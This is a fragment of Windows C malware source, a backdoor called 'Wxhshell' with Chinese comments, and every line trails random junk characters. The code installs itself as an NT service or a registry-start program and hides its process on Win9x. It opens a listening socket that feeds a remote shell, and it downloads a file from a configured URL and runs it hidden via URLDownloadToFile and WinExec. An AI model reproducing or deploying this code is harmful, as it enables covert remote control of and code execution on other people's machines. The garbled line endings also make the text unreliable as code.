ULONG InheritedFromUniqueProcessId; )2: ,E
} PROCESS_BASIC_INFORMATION; 4v;KtD;M
]Pf!wv
PROCNTQSIP NtQueryInformationProcess; iKA}??5e
Z@6xu;O
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E<r<ObeRv`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z^6qxZJ7
33OkYC%e
HANDLE hProcess; ]3I@5 }5%
PROCESS_BASIC_INFORMATION pbi; uh&Qdy!I
cNiNLwc
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x yyEaB
if(NULL == hInst ) return 0; UKzXz0
R7 ^f|/l
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qX:YI3:,@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]oizBa@?G
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3B?7h/f
P`OZoI$bV
if (!NtQueryInformationProcess) return 0; K?eY<L
JGQ)/(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
,)Z1&J?
if(!hProcess) return 0; *Z2#U?_
+XpQ9Cd
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !MEA@^$#
)W |_f
CloseHandle(hProcess); _FP'SVa}D
Dgm"1+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lc\%7-%:5
if(hProcess==NULL) return 0; b0uWUI(=
uy8mhB+]
HMODULE hMod; !m6=Us
char procName[255]; s(cC;
unsigned long cbNeeded; ASULg{
V~]&1
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^EcwY- Qr
; ~#uH7k
CloseHandle(hProcess); k`NXYf:
v?s%qb= T
if(strstr(procName,"services")) return 1; // 以服务启动 jq(QL%)_O
wPl9%
return 0; // 注册表启动 Tno 0Q
+
} B~47mw&b
A+ LX37B
// 主模块 h]DzX8r}
int StartWxhshell(LPSTR lpCmdLine) -~ H?R
{ {C5-M! D{<
SOCKET wsl; #D
.hZ=!
BOOL val=TRUE; CSlPrx2\
int port=0; |Pq z0n=v
struct sockaddr_in door; ]:svR@E
O7z5,-
if(wscfg.ws_autoins) Install(); {9XQ~t"m^
H&uh$y@
port=atoi(lpCmdLine); f J+
(x140_TH~
if(port<=0) port=wscfg.ws_port; X.[8L^ldh
HiSNEp$-4$
WSADATA data; .05x=28n%
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aPm2\Sq$
O:jaA3
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; gb}>x O
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C^7M>i
door.sin_family = AF_INET; csj4?]gI
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )}1S
`*J/O
door.sin_port = htons(port); b_']S0$c\
?6 //'bO:%
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a\tv,Lx
closesocket(wsl); WP >VQZ&
return 1; L16">,5
} vQmqYyOc2
$Go)Zs-bL?
if(listen(wsl,2) == INVALID_SOCKET) { Ti$_V_
closesocket(wsl); XvI Y=~
return 1; <`d;>r=4z
} ?JMy
Wxhshell(wsl); %a|m[6+O
WSACleanup(); i Ie{L-Na
V11XI<V
return 0; Eg4_kp0Lq
}ZJ*N Y
} A>%mJ3M
VvTi>2(.
// 以NT服务方式启动 ='Yg^:n
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |'](zEwq
{ MS;^@>|wj
DWORD status = 0; u1ahAk7
DWORD specificError = 0xfffffff; U:uFrb,
a]@BS6
serviceStatus.dwServiceType = SERVICE_WIN32; }Apn.DYbbf
serviceStatus.dwCurrentState = SERVICE_START_PENDING; F.-:4m(Z
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^1;Eq>u
serviceStatus.dwWin32ExitCode = 0; A$-\Er+f
serviceStatus.dwServiceSpecificExitCode = 0; 3c[]P2Bh
serviceStatus.dwCheckPoint = 0; ,D2nUk
serviceStatus.dwWaitHint = 0; + lZvj=gW
b)7v-1N
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (W5JVk_o
if (hServiceStatusHandle==0) return; MY l9 &8
mT,#"k8
status = GetLastError(); t(p}0}Pp
if (status!=NO_ERROR) V z-]H]MW,
{ [}`-KpV!;
serviceStatus.dwCurrentState = SERVICE_STOPPED; Dr5AJ`y9A
serviceStatus.dwCheckPoint = 0; eDY)i9"W
serviceStatus.dwWaitHint = 0; G#j~8`3X
serviceStatus.dwWin32ExitCode = status; 'm k_s4J
serviceStatus.dwServiceSpecificExitCode = specificError; $y,tR.5.)[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zw_'u=r
>
return; LL+PAvMg
} UeU`U
f47dB_{5f.
serviceStatus.dwCurrentState = SERVICE_RUNNING; R7/ET"
serviceStatus.dwCheckPoint = 0; 6/.cS4
serviceStatus.dwWaitHint = 0; r*{`_G=1
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9*2^2GR^;
} @k)[p+)E
YRu#JYti
// 处理NT服务事件,比如:启动、停止 ,$Xhwr
VOID WINAPI NTServiceHandler(DWORD fdwControl) .zsYVtK
{ sPvjJ r"s
switch(fdwControl) 96i#
{ :*MR$Jf
case SERVICE_CONTROL_STOP: >1 hhz
serviceStatus.dwWin32ExitCode = 0; Wv]ODEd
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5IfC8drAs
serviceStatus.dwCheckPoint = 0; zoZ10?ojC
serviceStatus.dwWaitHint = 0; UdcrX`^.
{ gl 27&'?E*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -l?\hmDl
} $8`"
return; SE6c3
case SERVICE_CONTROL_PAUSE: 7KN+ @6!x
serviceStatus.dwCurrentState = SERVICE_PAUSED; mX[J15
break; {_UOS8j7
case SERVICE_CONTROL_CONTINUE: e*M-y C
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,O_iSohS
break; 1 Q*AQYVY
case SERVICE_CONTROL_INTERROGATE: JC
iB;!y
break; fndbGbl8p
}; RaOLy \
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~L:H]_8F l
} =s&ycc;-5}
3EH7HW
// 标准应用程序主函数 RO[6PlrRN
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jmF)iDvjuZ
{ %H4>k#b@$
E_\V^
// 获取操作系统版本 S=G2%u!;
OsIsNt=GetOsVer(); Qcn;:6_&W
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6N[X:F
3`,
*gOUpbtXa
// 从命令行安装 bWJ&SR>
if(strpbrk(lpCmdLine,"iI")) Install(); q^h/64F
+*wr=9>
// 下载执行文件 6pbtE]
if(wscfg.ws_downexe) { l OiZ2_2
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~.CmiG.7
WinExec(wscfg.ws_filenam,SW_HIDE); sY:=bU^P
} ZqXp f
+v<
\l=
if(!OsIsNt) { Uh+6fE]p
// 如果时win9x,隐藏进程并且设置为注册表启动 Z1{>"o:@
HideProc(); B_*Ayk
StartWxhshell(lpCmdLine); ~-#Jcw$+n=
} *t_Q5&3L+U
else "O~kIT?/v
if(StartFromService()) 49YN@PXC
// 以服务方式启动 C8D`:k
StartServiceCtrlDispatcher(DispatchTable); V3ExS1fNf
else iXL?ic
// 普通方式启动 nH B
StartWxhshell(lpCmdLine); /@U bN\
?in)kL
return 0; vRH2[{KQ9
}